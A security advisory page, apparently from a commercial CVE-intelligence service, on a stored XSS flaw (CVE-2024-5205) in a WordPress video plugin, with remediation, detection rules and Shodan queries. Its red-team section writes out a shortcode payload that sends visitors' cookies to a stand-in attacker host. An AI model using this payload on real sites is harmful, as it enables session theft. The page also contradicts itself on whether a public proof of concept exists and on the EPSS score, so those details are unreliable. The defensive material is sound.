☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 6.4 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-5205

CVE-2024-5205 Cross-Site Scripting in Videojs
📅 PUBLISHED: 2024-05-24 03:07 UTC 🔄 UPDATED: 2026-08-12 14:51 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.23%
👁️
0.23% probability
5.8× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 6.4
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: L Privileges Required Low
UI: N User Interaction None
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: N Availability None
6.4
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-5205 is a Stored Cross-Site Scripting (XSS) vulnerability in the Videojs HTML5 Player WordPress plugin, affecting all versions up to and including 1.1.11. The flaw resides in the videojs_video shortcode, where user-supplied attributes are not properly sanitized or escaped. Authenticated attackers with contributor-level access or higher can inject arbitrary web scripts into pages. When a victim visits an infected page, the malicious script executes in their browser, potentially leading to session hijacking, credential theft, or defacement. The vulnerability is currently unpatched, and no public exploit code or proof-of-concept is available. The EPSS score is 0.0%, indicating low exploitation likelihood at this time, but the risk remains significant for WordPress sites using this plugin.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Since the plugin is unpatched, site administrators must consider removing or disabling the plugin until a fix is released. No NPM, PyPI, Go, or Ruby packages are involved.

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
  • Base Score: 6.4 (Medium)
  • Attack Vector: Network
  • Attack Complexity: Low
  • Privileges Required: Low (contributor-level access)
  • User Interaction: None
  • Scope: Changed (impact on other components)
  • Confidentiality Impact: Low
  • Integrity Impact: Low
  • Availability Impact: None

The threat level is Medium due to the requirement for authenticated access, but the potential for stored XSS can lead to broader compromise of the WordPress site and its users.

Deep Dive & Mechanics

The vulnerability exists in the videojs_video shortcode handler. The plugin fails to properly sanitize and escape user-supplied attributes (e.g., src, poster, class, id, data-*). An attacker with contributor-level access can create or edit a post/page and insert the shortcode with malicious payloads in attribute values. For example:

[videojs_video src="javascript:alert('XSS')" poster="x" onerror="alert(1)"]

When the shortcode is rendered, the unsanitized attributes are output directly into the HTML, allowing script execution. The stored XSS persists in the database and executes for any user viewing the compromised page.

Vulnerable vs. Patched Code

Vulnerable Code (version <= 1.1.11): The plugin likely uses echo or print without proper escaping. Example:

function videojs_shortcode($atts) {
    $src = $atts['src'];
    echo "<video src='$src'></video>";
}

Patched Code (hypothetical): Proper escaping using WordPress functions like esc_url() and esc_attr():

function videojs_shortcode($atts) {
    $src = esc_url($atts['src']);
    echo "<video src='" . esc_attr($src) . "'></video>";
}

Since no official patch exists, administrators must manually apply similar sanitization or disable the plugin.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

  • WordPress site with Videojs HTML5 Player plugin <= 1.1.11
  • Attacker account with contributor-level access or higher

Steps:

  1. Log in as a contributor.
  2. Create a new post or page.
  3. Insert the malicious shortcode:
    [videojs_video src="x" onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)"]
    
  4. Publish the post.
  5. When an administrator or visitor views the post, the XSS payload executes, exfiltrating cookies.

Alternative payload:

[videojs_video src="x" onmouseover="alert(1)"]

Blue Team (Detection & Defense)

Detection:

  • Monitor for posts/pages containing the videojs_video shortcode with suspicious attributes.
  • Use WAF rules to block common XSS patterns in shortcode attributes.
  • Review user activity logs for unusual shortcode usage.

Defense:

  • Disable or remove the plugin until a patch is available.
  • Implement Content Security Policy (CSP) headers to mitigate XSS impact.
  • Restrict contributor-level access to trusted users only.

Indicators of Compromise (IOCs)

  • File: /wp-content/plugins/videojs-html5-player/ (presence of plugin)
  • Database: Posts/pages containing [videojs_video shortcode with suspicious attributes (e.g., onerror, onmouseover, javascript:)
  • Network: Outbound connections to attacker-controlled domains from WordPress admin or frontend
  • Logs: Unusual shortcode usage in post revisions or activity logs

Detection Engineering

YARA Rule

rule CVE_2024_5205_Stored_XSS {
    meta:
        description = "Detects malicious shortcode attributes in Videojs HTML5 Player plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-5205"
    strings:
        $shortcode = /\[videojs_video[^\]]*?(onerror|onmouseover|onclick|javascript:)[^\]]*?\]/i
    condition:
        $shortcode
}

Sigma Rule

title: CVE-2024-5205 Stored XSS via Videojs Shortcode
id: 8a2b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects posts/pages containing malicious videojs_video shortcode attributes
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.url|contains: "videojs_video"
        http.body|contains|all:
            - "onerror"
            - "onmouseover"
            - "javascript:"
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in shortcode attributes (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-5205 Stored XSS via Videojs Shortcode"; flow:to_server,established; content:"videojs_video"; http_uri; pcre:"/\[videojs_video[^\]]*?(onerror|onmouseover|onclick|javascript:)[^\]]*?\]/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the plugin – Deactivate and delete the Videojs HTML5 Player plugin until a patch is released.
  2. Audit existing content – Search for posts/pages containing the videojs_video shortcode and remove or sanitize them.
  3. Review user roles – Limit contributor-level access to trusted users only.

Long-term Fix:

  • Apply input sanitization and output escaping to the shortcode handler (see patched code example).
  • Monitor the plugin repository for an official update.

Workarounds:

  • Use a Web Application Firewall (WAF) to block XSS payloads in shortcode attributes.
  • Implement Content Security Policy (CSP) headers to restrict script execution.

Valters IT

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.html:"wp-content/plugins/videojs-html5-player"
http.html:"videojs_video"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-5205/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.